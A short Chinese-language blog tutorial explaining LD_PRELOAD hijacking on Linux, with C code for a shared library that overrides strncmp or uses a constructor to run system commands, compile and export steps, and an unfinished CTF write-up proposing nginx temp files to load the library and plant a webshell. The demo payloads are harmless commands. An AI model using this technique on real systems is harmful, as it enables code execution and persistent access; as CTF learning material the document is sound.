LD_PRELOAD

LD_PRELOAD

八月 20, 2022

LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库,我们可以上传一个恶意的.so文件,让LD_PRELOAD指向我们上传的恶意文件,就能在执行系统命令的时候,执行我们的恶意代码

先查看ls命令会调用什么库函数

1
readelf -Ws /usr/bin/ls

我们这里选择的是strncmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("id");
}

int strncmp() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

用gcc编译成.so文件

1
gcc -shared -fPIC 8.c -o 8.so

可以看到这里的编译出现看错误,我们根据报错对我们的.c文件进行修改

之后把LD_PRELOAD的值改成.so文件的值

1
export LD_PRELOAD=$PWD/8.so

可以看到我们在执行ls命令的时候,同时也执行了id的命令

我们可以使用 _attribute_((constructor))修饰符来是我们的恶意文件,让我们的恶意文件能在动态链接被加载的调用,相比于之前的在命令加载函数的时候,更加有广泛性

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("echo 1");
}

可以看到ls和hello都执行了echo 1的命令

[虎符CTF 2022]ezphp

可以看到代码有putenv可以更改环境变量,而且后面使用了echo命令,我们就可以上传一个恶意的.so文件,用LD_PRELOAD去包含他,就可以执行我们的命令了

但是没有文件上传的地方,这里就要用到一个nginx服务器特性,在我们上传大文件的时候,会造成缓冲区溢出,nginx就会生成一个临时文件储存我们传输的大文件,所以我们要构造一个很大的so文件,让后再去包含他,写一个webshell

但是我不到为什么包含不到.so文件没有复现成功